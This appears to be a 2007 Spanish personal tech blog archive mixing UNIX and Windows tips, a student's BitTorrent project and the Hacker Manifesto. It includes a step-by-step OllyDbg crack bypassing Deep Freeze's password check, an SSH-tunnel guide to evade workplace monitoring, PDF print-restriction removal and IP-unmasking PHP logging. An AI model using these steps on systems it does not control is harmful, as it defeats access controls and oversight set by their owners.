Bueno llevaba 31 dias programando (versión 0.0.31), hoy es el dia 32, versión 0.1.1.

Va muy lento mi programa y cualquier cliente bitTorrent cutre se pone a maxima velocidad y te chupa todo el ancho de banda. Tengo que investigar que pasa.

El tutor del proyecto muy bien, me hablo de sustituir System.out.println por una clase llamada Salida que escribiese por consola, fichero o textarea de la ventana.

Tambien me dijo de hacer herencia para no repetir codigo en 3 clases que tengo para tres controles de interfaz JTable

Me hablo de hacer una clase Idioma, y de hacer un fichero de preferencias, un (*.propierties) que maneja muy bien el JAVA donde almacenar cosas como las opciones de los menus: host/puerto PROXY, puerto que acepta conexiones, directorio de compartidos/download.

Así que tengo que hacer los siguiente:

- Mejorar la velocidad de download
- Abro muchos sockets de golpe, muchas conexiones y se pierden por TIMEOUT muchas, tengo que poner un limite de conexiones por segundo antes de hacer el HANDSHAKE.
- Poner limite de UPLOAD en KB para que pueda hacer mas peticiones de datos y mejorar mi velocidad DOWNLOAD
- Meter IDIOMA
- Meter clase Salida con metodos que escriban en fichero/consola segun tu decidas
- Meter fichero que guarde la configuracion .propierties

Muchas gracias por ayudarme con crear una INSTALACION para mi programa. Dentro de 15 dias cuando este mas descargado de trabajo te pido ayuda con el programa adminstudio.


(me ofreci a crearle un instalador con Adminstudio)

Tambien me hablo del JAVADOC y de como comentar los metodos JAVA para generar documentacion con el JAVADOC que luego se pasa a WORD con el Rose/Enterprise Architect que son aplicaciones de Metodología UML.

Mi amigo de birras de hace ya 20 años que es mi Tutor (ya hizo la tesis y es doctor) tiene mi misma edad, estudiamos desde EGB hasta la carrera juntos.

Fue muy positivo, y me dijo que los alumnos de la media estan los 3 años programando en JAVA y que yo llevaba 10 años sin programar. Que hace dos meses no sabia lo que era un
try{
}
Catch (Excepction e)
{}

Y bueno me dijo tb que habia que observar mis circunstancias que yo sali de la carrera hace 8 años. vlan7, yo te digo que le saque muy poca rentabilidad economica a todos los creditos de las casi 40 asignaturas anuales que aprobe. Hay gente que con la carrera y un poco mas se gana la vida sin ser cientificos, solo programadores del monton.

Tambien me dijo que en la de 3 años hay gente que presenta como proyecto cosas de Gestion (Bibliotecas, Video-clubs), un monton de gente haciendo portales o carritos de la compra. Que se repetian proyectos. Creo que nadie hizo un BitTorrent en la carrera superior o media. No es que sea muy complejo pero bueno las comunicaciones hay que sincronizarlas, es mas dificil la inteligencia artificial o andar haciendo
compiladores/traductores. Pero bueno tiene un punto mas de dificultad que la gestion o la programación WEB. Aunque ahora andan con el AJAX alguna gente haciendo virguerias en WEB.

Bueno a ver si dentro de 1 mes ya tenemos programita rapido, con opciones, que maneje varios Torrentes a la vez y que tenga instalacion.


Asi me gusta chanchi, el baudio es nuestro tio... Y de la instalacion me encargo yo chanchi, cuenta conmigo :)

Dentro de 15 dias te paso otra version mas eficiente, si quieres los .java vienen dentro de JAR. Desde el directorio java\jdk-> jar xf BJBTBeta.jar

Saludos
chanchi


Muchas gracias chanchi por permitirme poner tu cliente de BitTorrent y asi elevar el nivel de mi blog personal.

Seguimos en contacto amigo.

Os podeis bajar el .JAR de aqui: BJBTBeta.jar

jueves, noviembre 22, 2007

Notepad++ & WinVI

Mis editores de texto favoritos para Windows:

Notepad++ (en el momento de escribir esto van por la version 4.6, con fecha del 17-Nov-2007)

WinVI (en el momento de escribir esto van por la version 2.98 beta, con fecha del 23-Oct-2007)

Que lo disfruteis.

miércoles, noviembre 21, 2007

Imprimir un PDF protegido contra impresion

Todos nos hemos encontrado alguna vez con PDFs que tienen deshabilitada la opcion de imprimir.

Podemos usar la herramienta Pdftk para generar PDFs sin restriccion de impresion.

pdftk no_imprimible.pdf cat output imprimible.pdf

lunes, noviembre 19, 2007

Guia rapida Windows Script Technologies (II)

Aqui va la segunda parte de tecnicas de scripting en Windows, cubriendo ademas de VBScript, WSH y demas. Esta hecho por mi compañero de trabajo Jovi.

Podeis bajar esta segunda parte de Aqui

Guia rapida Windows Script Technologies (I)

Mi compañero de trabajo Jovi se ha currado este PDF explicando brevemente el scripting en Windows.

Es la primera parte y podeis bajarlo de Aqui

Script VBScript que da info de la/s NIC/s

Mi compañero de trabajo Jovi se ha currado este script en VBScript que nos da info de la/s tarjeta/s de red que tengamos instaladas en el equipo.

He numerado las lineas, pues son demasiado largas y se cortan. Ahi va:

1 Set oNICs = GetObject("winmgmts:")
1 Set colNICs = oNICs.InstancesOf("Win32_NetworkAdapter")

3 For Each oNIC in colNICs
4 Wscript.Echo "*****Name: " & oNIC.Name
5 Wscript.Echo "AdapterType: " & oNIC.AdapterType
6 Wscript.Echo "AutoSense: " & oNIC.AutoSense
7 Wscript.Echo "Availability: " & oNIC.Availability
8 Wscript.Echo "Caption: " & oNIC.Caption
9 Wscript.Echo "ConfigManagerErrorCode: " & oNIC.ConfigManagerErrorCode
10 Wscript.Echo "ConfigManagerUserConfig: " & oNIC.ConfigManagerUserConfig
11 Wscript.Echo "CreationClassName: " & oNIC.CreationClassName
12 Wscript.Echo "Description: " & oNIC.Description
13 Wscript.Echo "DeviceID: " & oNIC.DeviceID
14 Wscript.Echo "ErrorCleared: " & oNIC.ErrorCleared
15 Wscript.Echo "ErrorDescription: " & oNIC.ErrorDescription
16 Wscript.Echo "Index: " & oNIC.Index
17 Wscript.Echo "InstallDate: " & oNIC.InstallDate
18 Wscript.Echo "Installed: " & oNIC.Installed
19 Wscript.Echo "LastErrorCode: " & oNIC.LastErrorCode
20 Wscript.Echo "MACAddress: " & oNIC.MACAddress
21 Wscript.Echo "Manufacturer: " & oNIC.Manufacturer
22 Wscript.Echo "MaxNumberControlled: " & oNIC.MaxNumberControlled
23 Wscript.Echo "MaxSpeed: " & oNIC.MaxSpeed
24 Wscript.Echo "NetworkAddresses: " & oNIC.NetworkAddresses
25 Wscript.Echo "PermanentAddress: " & oNIC.PermanentAddress
26 Wscript.Echo "PNPDeviceID: " & oNIC.PNPDeviceID
27 Wscript.Echo "PowerManagementCapabilities: " & oNIC.PowerManagementCapabilities
28 Wscript.Echo "PowerManagementSupported: " & oNIC.PowerManagementSupported
29 Wscript.Echo "ProductName: " & oNIC.ProductName
30 Wscript.Echo "ServiceName: " & oNIC.ServiceName
31 Wscript.Echo "Speed: " & oNIC.Speed
32 Wscript.Echo "Status: " & oNIC.Status
33 Wscript.Echo "StatusInfo: " & oNIC.StatusInfo
34 Wscript.Echo "SystemCreationClassName: " & oNIC.SystemCreationClassName
35 Wscript.Echo "SystemName: " & oNIC.SystemName
36 Wscript.Echo "TimeOfLastReset: " & oNIC.TimeOfLastReset
37 Wscript.Echo " ****************************** "
38 Wscript.Echo " "
39 Next

viernes, noviembre 16, 2007

Fascinacion por los aparatos

Para un ingeniero, todas las cosas del universo pueden clasificarse dentro de dos categorias:

1. Cosas que necesitan ser arregladas.

2. Cosas que necesitaran ser arregladas o mejoradas despues de haber jugado unos minutos con ellas.

A los ingenieros les gusta resolver problemas, si no hay problemas a mano, los crean. La gente normal no entiende este concepto, ellos piensan que si no esta roto no hay necesidad de arreglarlo. Los ingenieros creen en cambio que si no esta roto aun no tiene suficientes caracteristicas.

Ningun ingeniero mira un control remoto de TV sin imaginarse como podría convertirse en un arma laser. Ningun ingeniero toma una ducha sin pensar que podría haber algun tipo de cubierta de teflon que hiciera innecesario ducharse. Para el ingeniero, el mundo es una caja llena de juguetes pobremente construidos.

El manifiesto del hacker

Hoy han cogido a otro, aparece en todos los periodicos. "Joven arrestado por delito informatico", "hacker arrestado por irrumpir en un sistema bancario".

"Malditos crios. Son todos iguales".

¿Pero pueden, con su psicologia barata y su cerebro de los años cincuenta, siquiera echar un vistazo a lo que hay detras de los ojos de un hacker? ¿Se han parado alguna vez a pensar que es lo que les hace comportarse asi, que les ha convertido en lo que son? Yo soy un hacker, entre en mi mundo. Mi mundo comienza en el colegio. Soy mas listo que el resto de mis compañeros, lo que enseñan me parece muy aburrido.

"Malditos profesores. Son todos iguales". Puedo estar en el colegio o un instituto. Les he oido explicar cientos de veces como se reducen las fracciones. Todo eso ya lo entiendo. "No, Sr. Smith, no he escrito mi trabajo. Lo tengo guardado en la cabeza".

"Malditos crios. Seguro que lo ha copiado. Son todos iguales".

Hoy he descubierto algo. Un ordenador. Un momento, esto mola. Hace lo que quiero que haga. Si comete errores, es porque yo le he dicho que lo haga.

No porque yo no le guste, me tenga miedo, piense que soy un listillo o no le guste ni enseñar ni estar aqui.

Malditos crios. A todo lo que se dedican es a jugar. Son todos iguales. Entonces ocurre algo... se abre una puerta a un nuevo mundo... todo a traves de la linea telefonica, como la heroina a traves de las venas, se emana un pulso electronico, buscaba un refugio ante las incompetencias de todos los dias... y me encuentro con un teclado.

"Es esto... aquí pertenezco...". Conozco a todo mundo... aunque nunca me haya cruzado con ellos, les dirigiese la palabra o escuchase su voz... los conozco a todos... malditos críos. Ya esta enganchado otra vez al telefono.

Son todos iguales... puedes apostar lo quieras a que son todos iguales... les das la mano y se toman el brazo... y se quejan de que se lo damos todo tan masticado que cuando lo reciben ya ni siquiera tiene sabor. O nos gobiernan los sadicos o nos ignoran los apaticos. Aquellos que tienen algo que enseñar buscan desesperadamente alumnos que quieran aprender, pero es como encontrar una aguja en un pajar.

Este mundo es nuestro... el mundo de los electrones y los interruptores, la belleza del baudio. Utilizamos un servicio ya existente, sin pagar por eso que podria haber sido mas barato si no fuese por esos especuladores. Y nos llamais delincuentes. Exploramos... y nos llamais delincuentes. Buscamos ampliar nuestros conocimientos... y nos llamais delincuentes. No diferenciamos el color de la piel, ni la nacionalidad, ni la religion... y vosotros nos llamais delincuentes. Construis bombas atómicas, haceis la guerra, asesinais, estafais al pais y nos mentis tratando de hacernos creer que sois buenos, y aun nos tratais de delincuentes.

Si, soy un delincuente. Mi delito es la curiosidad. Mi delito es juzgar a la gente por lo que dice y por lo que piensa, no por lo que parece. Mi delito es ser mas inteligente que vosotros, algo que nunca me perdonareis. Soy un hacker, y este es mi manifiesto. Podeis eliminar a algunos de nosotros, pero no a todos... despues de todo, somos todos iguales.

The Mentor. 08/01/1986

jueves, noviembre 15, 2007

Adminstudio ACEs

Un PDF mas de mi compañero de trabajo Julio, Industrializador de aplicaciones, con un buen resumen de los distintos ACEs de la suite Adminstudio.

Podeis bajarlo de aqui:

Adminstudio ACEs

Adminstudio Repackager

Un PDF mas de mi compañero de trabajo Julio, Industrializador de aplicaciones, con un buen resumen de la utilidad Repackager de la suite Adminstudio.

Podeis bajarlo de aqui:

Adminstudio Repackager

Installshield Scripting

Otro PDF de mi compañero de trabajo Julio, Industrializador de aplicaciones, con un buen resumen del scripting de Installshield de la suite Adminstudio.

Podeis bajarlo de aqui:

IS Scripting

Adminstudio. Diagrama general

Mi compañero de trabajo Julio, Industrializador de Aplicaciones, se ha currado este PDF que sintetiza mediante diagramas de una forma muy clara los pasos a seguir para industrializar una aplicacion en Adminstudio.

Subire estos dias mas documentos PDF de Adminstudio, y tambien de scripting con VBScript y WSH, pues tengo muy buena relacion con mis compañeros industrializadores.

Sobre scripting hay mucha info en la www, pero la info sobre Adminstudio es muy escasa, por no decir casi nula, y en castellano nada, asi que creo que son documentos muy preciados.

Podeis descargaros la version 1.0 del PDF de aqui:

Adminstudio - Diagrama General.pdf

miércoles, noviembre 14, 2007

Petition to Open Source CDE and Motif

¿Te gusta tanto el escritorio CDE de UNIX como a mi?

¿Quieres evitar la inminente muerte de CDE?

Hacer CDE Open Source es la unica forma de que CDE continue vivo.

Yo quiero CDE en Solaris 11.

"As a user - or former or potential user - of the Common Desktop Environment (CDE) I believe there would be a benefit to releasing the source code to CDE and the Motif library under an OSI approved licence. I humbly request that you, The Open Group, investigate this possibility and use your best efforts to accomplish this goal."

http://marutan.net/cde/

miércoles, octubre 24, 2007

¿Es necesario el espacio swap si tenemos mucha RAM?

Un comentario hecho por Anonimo en mi entrada Ampliar tamaño swap (II) me ha hecho escribir este post.

Anonimo me comentaba que habia leido que no era necesaria una particion swap si disponemos de 2 GB de RAM, a lo que yo le conteste lo siguiente:

Todo depende del uso que vayas a hacer de la maquina. Yo he "jugado" con varias distros de linux sin swap con 768MB de RAM, y no he tenido ningun problema.

De hecho, hasta donde yo se, todas las live-CD funcionan sin swap.


Pues bien, a mi se me ocurre al menos un caso en el que nos interese tener swap aunque dispongamos de 2GB de RAM.

Si no tienes espacio swap, y digo espacio y no particion, pues la swap puede residir en un archivo, no podras hibernar el sistema.

Con hibernar me refiero a suspender a disco, no solo suspender a secas. Suspender a disco supone grabar en el disco la imagen de la memoria, y apagar todos los elementos del ordenador, por lo que en gasto de energia es igual que si lo apagases, no gasta nada. Suspender, a secas, lo que hace es suspender a ram, y eso si que gasta energía, aunque poca, siendo algo mas lento que un reinicio.

Casi todos los portátiles suspenden bien a ram con Linux, y algunos lo hacen a disco, aunque haya que hacer algun hack.

Si no parcheamos el kernel y lo recompilamos, hoy por hoy solo se puede hibernar (suspender a disco) con una partición swap, usando swsusp, de serie en todos los kernel > 2.6. Si lo parcheamos usando suspend2, que es una version mas evolucionada podremos suspender a disco en un archivo, y muchas otras cosas como cifrado, compresion de la imagen guardada...

De hecho existe un paquete por ahi, llamado dphys-swapfile que contiene un script que lo que hace es crear y activar un archivo swap al arrancar, de un tamaño apropiado para nuestro sistema. La ventaja de que se cree dinamicamente es que la swap sera automaticamente cambiada de tamaño si aumentamos la RAM del equipo, sin necesidad de que nos acordemos de hacerlo manualmente.

Asi que, aunque tengamos 2GB de RAM puede seguir interesandonos tener swap, bien en una particion, bien en un archivo.

martes, octubre 23, 2007

Rebobinar rapido una cinta en UNIX

Tradicionalmente en UNIX el rebobinado de una cinta en /dev/rmt/0cbn por ejemplo siempre nos enseñaron a hacerlo asi:

mt -f /dev/rmt/0cbn rewind

Pero existe un hack poco conocido para rebobinar mas rapido nuestras cintas. Lo unico que necesitamos para forzar al sistema para que rebobine la cinta es redirigir el dispositivo de cinta a absolutamente nada:

< /dev/rmt/0cbn

Ampliar tamaño SWAP (II)

¿Necesitas mas swap de la que tienes?

Creamos un archivo swap en la particion /disk7

mkfile 200m /disk7/swap_200MB

Convertimos el archivo de swap en la swap activa del sistema:

Irix:

swap -a /disk7/swap200MB

HP-UX, SunOS:

swapon -a /disk7/swap200MB

Si reiniciamos la maquina, el archivo de swap seguira ahi, pero tendremos que activarlo de nuevo con swap o swapon. Para hacer el cambio permanente, entrada en /etc/fstab o /etc/vfstab segun el UNIX:

disk7/swap200MB swap swap rw 0 0

fsuser en vez de ps

Lo que normalmente hariamos para terminar un proceso, por ejemplo bash seria algo como:

# ps -ef |grep bash

root 1484 1485 1 17:54:02 pts/1 0:00 /bin/bash
root 1116 1117 1 17:54:16 pts/1 0:00 grep bash
root 1090 1091 0 Oct 23 pts/2 0:00 /bin/bash

# kill -9 1484 1090


Podriamos haber hecho:

# fsuser -k /bin/bash
/bin/bash: 1485t 1106t


Si tenemos multiples procesos asociados con uno especifico que ejecutamos en nuestro ambiente, podemos ejecutar un script que termine con todos ellos.

Supongamos que tenemos una aplicacion llamada bsr que reside en /sbin con varios demonios que se ejecutan independiente de bsr, como bsrqqd, bsrexecd y bsrojbd. Un script rapido para finalizar toda la aplicacion con fsuser:

#/bin/sh

fsuser -k /sbin/bsr
fsuser -k /sbin/bsrqqd
fsuser -k /sbin/bsrexecd
fsuser -k /sbin/bsrojbd

lunes, octubre 22, 2007

Navegar anonimamente desde tu trabajo o centro de estudios

Cualquier administrador decente tendra implementado un sistema de logs para saber que paginas visita cada usuario. Si no quieres que desde tu trabajo o universidad o instituto sepan que paginas visitas, o si quieres acceder a webs sin restricciones, puede que con este hack puedas burlar los controles del administrador.

Primero necesitaras la IP publica de tu casa y de tu trabajo/facultad. Ve a http://www.whatismyip.com y apunta esas 2 IPs.

En tu casa

Instala Apache desde esta pagina si usas windows.

Si usas Gentoo Linux o Debian-like GNU/Linux instala Apache asi:

emerge apache2
apt-get install apache2


respectivamente.

Instala OpenSSH.

Si usas Windows, ve a http://sshwindows.sourceforge.net/

Si usas Gentoo Linux o Debian-like GNU/Linux:

emerge openssh
apt-get install openssh


Pasemos a configurar Apache y OpenSSH:

Apache. Edita el httpd.conf:

Quita el comentario # a las lineas:

LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so


Cambia la linea

Listen 80

por

Listen 8080

Luego para que solo tu puedas usar tu proxy, busca la seccion

#
# Controls who can get stuff from this server.
#
Order allow,deny
Allow from all


y cambiala por

#
# Controls who can get stuff from this server.
#
Order deny,allow
Deny from all
Allow from 127.0.0.1


Por ultimo en la seccion de VirtualHost añade lo siguiente:

<IfModule mod_proxy.c>

ProxyRequests On

<Proxy *>
Order deny,allow
Deny from all
Allow from 127.0.0.1
</Proxy>

# If you plan to use mIRC, uncomment the following line
#AllowCONNECT 6666 6667 6668

</IfModule>


OpenSSH:

Tanto en Windows como en Linux cambiaremos el puerto por defecto 22 por el 443. Esto lo haremos porque el administrador puede haber filtrado y prohibido el puerto 22, pero no el 443, que es el usado para conexiones https.

En Windows cambia en el archivo etc\sshd_config a partir de donde tengas instalado OpenSSH:

la linea

#Port 22

por

Port 443

En UNIX/Linux, lo mismo pero teniendo en cuenta que el archivo de configuracion cuelga de /etc

En Windows aun tenemos que ir al directorio bin desde donde tengamos instalado OpenSSH y ejecutar estos comandos:

mkgroup -l > ..\etc\group
mkpasswd -l > ..\etc\passwd


Con esto crearemos user/pass en etc

Para iniciar los servicios en Windows:

net start opensshd
net stop apache2.2
net start apache2.2


Si queremos que ambos servicios se ejecuten al inicio, ejecutaremos services.msc y los configuraremos en Automatico.

Para iniciar los servicios en Linux:

/etc/init.d/openssh restart
/etc/init.d/apache2 restart


Para añadirlos al inicio en Gentoo Linux:

rc-update add openssh default
rc-update add apache2 default


En otros UNIX/Linux, configurar /etc/rc.d

En el router redirigir el puerto 443 con NAT+PAT a la IP del equipo de casa puerto 443.

Ya tenemos configurado nuestro equipo de casa. Ahora en el trabajo necesitaremos el Putty si usamos Windows:

putty -L 80:127.0.0.1:8080 -ssh IP_Casa -P 443

Con esto habremos creado un tunel SSH entre el ordenador del trabajo y el de casa.

Si no tienes privilegios para guardar el putty en el disco duro, llevalo en un diskette o en un CD. Es solo un ejecutable que no necesita instalacion.

Solo nos falta decirle al navegador que use como proxy 127.0.0.1 puerto 80.

El hack funcionara asi:

En el trabajo pedimos una pagina web. Nos conectaremos por el tunel SSH al router de nuestra casa. El router de nuestra casa redirigira la peticion a nuestro ordenador de la LAN de casa al puerto 443, donde tenemos a OpenSSH escuchando. OpenSSH redirige la peticion al servidor Apache del ordenador de casa. Apache pide la pagina web. Sale la peticion por nuestro router de casa. Nuestro router de casa devuelve la peticion al servidor Apache que corre en nuestro ordenador de casa. Apache pasa la peticion al servidor OpenSSH de nuestro ordenador de casa. Este manda la peticion a nuestro ordenador del trabajo a traves de nuestro router de casa. Nuestro ordenador del trabajo recibe la peticion y el navegador de nuestro ordenador del trabajo nos muestra la pagina.

Y el administrador cuando vea los logs no sabra que paginas hemos visitado, solo podra ver que hemos hecho peticiones a un puerto 443, y todo el contenido le saldra cifrado, por lo que no entendera nada.

Ya hemos ganado al administrador.

Maybe you can't break the system, but you can always hack it

jueves, octubre 18, 2007

Bloqueador de consola en UNIX

En Linux:

$ vlock
This TTY is now locked.
Please enter the password to unlock.
vlan7's Password:


En FreeBSD:

Con el comando lock se nos pedira una contraseña, confirmacion, y esa sera la contraseña que tendremos que usar para desbloquear el terminal.

$ lock
Key:
Again:
lock: /dev/ttyp0 on fbsd6.probador.in. timeout in 15 minutes.
time now is Tue Oct 18 17:57:07 IST 2007
Key:


En UNIX Solaris:

Tenemos el comando lock como en FreeBSD, pero por defecto sin timeout. Si queremos especificar un timeout, usaremos el switch -t

Resetear terminal VT100 (II)

En la primera parte mostraba un programa en C para poder resetear cualquier terminal VT100 cuando la pantalla se llenara de basura.

atrapado me dejo un comentario diciendo que lo mismo se conseguia con el comando reset

Pues bien, si nada de esto funciona, aun hay otra manera de hacerlo en UNIX. Y es con el comando siguiente:

stty sane

viernes, octubre 12, 2007

Pasar TXTs de DOS a UNIX

En DOS o Windows los archivos de texto plano usan como intro 2 caracteres: CR+NL (Carriage Return + New Line) y UNIX usa solo el caracter NL. Es por ello por lo que al editar archivos de texto plano de DOS/Windows vemos caracteres extraños ^M , que no es ni mas ni menos que el CR.

Para quitar esta basura en vi/vim:

:%s/\r$//

jueves, octubre 11, 2007

Hackeando (crackeando) Deep Freeze

Deep Freeze usa un metodo unico de proteccion para preservar el estado original exacto de una maquina corriendo Windows o Macintosh.

Dicen los chicos de Faronics, que son los desarrolladores de Deep Freeze: "Deep Freeze instantly protects and preserves baseline computer configurations. No matter what changes a user makes to a workstation, simply restart to eradicate all changes and reset the computer to its original state - right down to the last byte."

Pero como decia Edgar Allan Poe en su obra "El escarabajo de oro", todo lo que una mente humana puede asegurar, otra mente humana puede violar.

Hackeemos pues a Deep Freeze.

Este proceso esta testeado para Windows 2000/XP, y versiones de Deep Freeze 4.20.020.0598, 4.20.120.0598, 4.20.121.0613, 5.20.220.1125 y 5.30.120.1181

Necesitaremos herramientas.

Primero el Ollydbg. Yo empece en esto crakeando juegos viejos de MSDOS y creando virus en assembler para MSDOS, y siempre preferi Softice, pero Ollydbg se ha puesto de moda. Podemos bajarlo de http://www.ollydbg.de/

Para parchear el programa, Ollyscript

ASPack 2.12 OEP finder script por hacnho/VCT2k4

Y por ultimo el Process Explorer de los genios de sysinternals.

Lo que haremos es cargar una nueva instancia del login de Deep Freeze y lo cambiaremos de tal forma que acepte cualquier password.

Que empiece el juego.

Lo primero que tenemos que hacer es encontrar datos que luego usaremos para cargar nuestra propia instancia del programa de login. Para esto usaremos Process Explorer. Una vez cargado, veremos una lista de todos los procesos que estan corriendo en nuestro sistema, entre ellos el proceso que controla el programa de login, llamado FrzState.exe o FrzState2k.exe. Seleccionemos las propiedades del proceso y se nos abrira una nueva ventana. Fijate en la pestaña Imagen donde pone command line. Quedate con esos ultimos 3 numeros. Los necesitaremos.

Carguemos el Ollydbg previamente parcheado. Abre el ejecutable del proceso que vimos antes. En la parte que dice Arguments escribe esos 3 numeros (separados) que vimos con Process Explorer. Si te aparece un mensaje de advertencia dale a OK. Si nos aparece un mensaje que diga "Do you want to continue the code analysis?", diremos que "No".

Ya tenemos el programa cargado. Sin embargo nuestro siguiente problema es que esta protegido con Aspack 2.12, por lo que no podemos ver el codigo real. No hay problema, usemos OllyScript y el script ASPack 2.12 OEP finder. Menu Plugins, submenu OllyScript y seleccionamos "Run Script". Selecciona el script y el solito encontrara el OEP (original entry point). Si nos sale alguna pantalla emergente, la descartamos.

Fijemonos bien amigos, en este preciso momento estamos en el OEP. ¿Lo sentis? ¿Sentis esa sensacion que yo sentia a los 15 años cuando crakeaba juegos de msdos? Como dirian +ORC y sus alumnos de la HCU "we feel the code". Si sabes de assembler, te animo a que desensambles el codigo con OllyDump y lo analices.

El juego continua, asi que pulsemos CTRL+C. Tenemos que introducir el numero de version de Deep Freeze. Bueno no, el numero de version no, tenemos que introducir un valor segun la siguiente tabla de pares version/valor:

4.20.020.0598 / 40368D
4.20.120.0598 / 40368D
4.20.121.0613 / 4034F5
5.20.220.1125 / 4037E9
5.30.120.1181 / 4037E9

Para los que no sepais de Ollydbg y os esteis preguntando que hemos hecho con eso, os respondere que simplemente hemos hecho un salto a esa linea de codigo, a esa instruccion, que como podreis observar es un CALL. Estamos cerca amigos. Esa instruccion CALL es precisamente la encargada de llamar a la subrutina encargada de verificar el password que introducimos en Deep Freeze. Pongamos aqui un breakpoint. Pulsemos F2.

Estamos ya muy cerca. Ahora tenemos que ejecutar la nueva instancia del programa de login de Deep Freeze. F9.

¿Veis esos 2 iconos de DeepFreeze en la barra de tareas? Pues son las 2 instancias de Deep Freeze. ¿No los veis? Entonces significa que Deep Freeze esta configurado para no mostrarse en la barra de tareas, entonces vereis 2 espacios vacios.

Activemos pues el nuevo programa de login, no el viejo! Doble click en el icono con la tecla MAYUS presionada. Introduce cualquier password y fijate en la magia, se activara el breakpoint que activamos en OllyDbg y el programa no llegara a entrar en la subrutina encargada del proceso de verificacion de login, estaremos parados justo en el CALL. Vayamos al OllyDbg. Pulsemos F8 para entrar en la subrutina. ¿Ves ese registro EAX con valor 0? Eso significa que no hemos introducido el password correcto. Bien, sigamos jugando. Cambiemoslo. Doble click en EAX y le hacemos creer que si hemos introducido el password correcto. En el campo hexadecimal escribimos un 1. Ya hemos ganado.

Si quieres ver la recompensa, estas a una pulsacion de tecla de recibirla. Vamos, respira hondo, siente esa sensacion que sentia yo a los 15 años cuando crakeaba juegos de MSDOS :)

Pulsa F9.

Ahi esta. La pantalla de configuracion de Deep Freeze.

"We feel the code" HCU
"Work well" +ORC

Obteniendo datos de un visitante. Su nombre de host

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
if($hostname == ""){
$hostname = "no encontrado";
};
?>

Obteniendo datos de un visitante. Su navegador

<?php
if(!$_SERVER["HTTP_USER_AGENT"]){
$browser = "Desconocido";
}else{
$browser = $_SERVER["HTTP_USER_AGENT"];
}
?>

Obteniendo datos de un visitante y guardarlos en un archivo de texto

Mucha gente cree que para guardar logs de nuestros visitantes necesitamos tener alojada nuestra pagina en un servidor web como Apache, bien en nuestro equipo o en un servidor dedicado en el que tengamos acceso de root al servidor web para modificar la configuracion. Esta claro que asi tenemos muchas mas posibilidades, pero podemos implementar facilmente en PHP un sistema de logs sencillo.

Por ejemplo, para guardar las IPs publicas de nuestros visitantes en el archivo ip.txt

<?php
if(getenv(HTTP_X_FORWARDED_FOR)) {
$ip = getenv(HTTP_X_FORWARDED_FOR); }
elseif(getenv(HTTP_CLIENT_IP)) {
$ip = getenv(HTTP_CLIENT_IP); }
else { $ip = $REMOTE_ADDR; }
$txt = @fopen("ip.txt", "a");
fputs($txt, " IP:".$ip);
fclose($txt);
echo "Tu IP publica es: $ip";
?>


No tiene ningun misterio.

Con $txt = @fopen("ip.txt", "a"); abrimos en modo append el archivo ip.txt.

Con fputs($txt, " IP:".$ip); añadimos la IP a ese archivo de texto.

Con fclose($txt); cerramos ese archivo de texto.

Obteniendo datos de un visitante. Su IP publica (II)

En el primer ejemplo veiamos una forma muy basica de obtener la IP publica de un visitante de nuestra web. ¿Pero que ocurre si nuestro visitante usa un proxy?

Algunos proxies no son realmente anonimos, y mandan tu IP publica real en las cabeceras HTTP. Podemos aprovecharnos de ello leyendo estas cabeceras.

<?php
if(getenv(HTTP_X_FORWARDED_FOR)) {
$ip = getenv(HTTP_X_FORWARDED_FOR); }
elseif(getenv(HTTP_CLIENT_IP)) {
$ip = getenv(HTTP_CLIENT_IP); }
else { $ip = $REMOTE_ADDR; }
echo "Tu IP publica es: $ip";
?>


Con este pequeño hack obtendremos la IP publica real de un visitante aun cuando use un pequeño porcentaje de proxies que no son realmente anonimos.

Esto se puede mejorar mas, ya mostrare como obtener la IP publica real de un visitante aunque use un proxy que no envie la IP publica real en sus cabeceras HTTP. Incluso veremos un hack para saber la IP publica real de un visitante aunque use TOR+Privoxy. Sobre esto ultimo me he tenido que romper mucho la cabeza, pues googleando solo encuentras paginas que demuestran que es posible, pero ninguna que use Java (hay otros metodos como usar Flash que tambien comentare) como metodo de obtener la IP real aunque uses TOR+Privoxy te muestra como hacerlo.

Obteniendo datos de un visitante. Su IP publica

Una primera aproximacion seria:

<?php
echo "Tu IP publica es: $REMOTE_ADDR";
?>

miércoles, octubre 10, 2007

Ver modulos de Perl cargados en nuestro sistema

Usemos el comando

instmodsh

Salida:

Available commands are:
l - List all installed modules
m - Select a module
q - Quit the program
cmd?


cmd? es el prompt.

instmodsh no deja de ser un script en Perl. Para ver su contenido basta con ejecutar con vi o tu editor favorito:

vi $(which instmodsh)

viernes, octubre 05, 2007

Intercambiar el valor de 2 variables sin usar una variable temporal (II)

En Perl podemos hacerlo asi:

($a, $b) = ($b, $a);

jueves, octubre 04, 2007

Algunos hacks que tengo en mi Gentoo para ahorrar tecleos y demas

*Odio escribir continuamente /etc/init.d/... asi que en mi directorio /root/.bashrc tengo el siguiente alias:

for service in `cd /etc/init.d/; ls`
do
alias "rc${service}"="/etc/init.d/${service}"
done
.

*Odio escribir siempre nano -w archivo.txt y quiero tener un TAB de tamaño 4asi que en /etc/nanorc tengo:

set nowrap
set tabsize 4


*Para usar emerge:

alias akmerge="ACCEPT_KEYWORDS='~x86' /usr/bin/sudo /usr/bin/emerge -pv"

*¿Cuantas veces has creado un directorio y el siguiente comando ha sido para entrar en el? Para hacer las 2 cosas en 1 comando:

md () {
mkdir -p $1 && cd $1
}


*Capturar pantalla en fluxbox con la tecla Impr Pant:

Editar ~/.fluxbox/keys

None F15 :execCommand import -w root ~/`date +%Y%m%d%H%M`.png

Y tendras un archivo PNG en formato YYYYMMDDHHmm.PNG

*Un hack poco conocido (opcion indocumentada en la pagina de manual). Si quieres copiar archivos con el progreso de copia:

cp -g

*Mis passwords estan en un archivo de texto cifrado con gpg. Para verlos uso el plugin gnupg de vim, que esta disponible en la pagina de vim.

*¿Estas harto del beep de tu maquina cuando usas el TAB-completion?

xset b off

Lentitud de Terminal Server en Windows Vista

En determinados casos el Terminal Server de Vista funciona lentisimo.

El problema viene de que el cliente de TS nuevo utiliza una nueva caracteristica de Vista llamada "auto-ajuste de la ventana de recepción TCP/IP", y esto en determinados casos puede tener consecuencias nefastas, por ejemplo, en Terminal Services.

Si tienes este problema, puedes solucionarlo escribiendo esto en la linea de comandos del cliente, con derechos de administrador:

netsh interface tcp set global autotuninglevel=disabled

Autocompletado en MSDOS con cmd

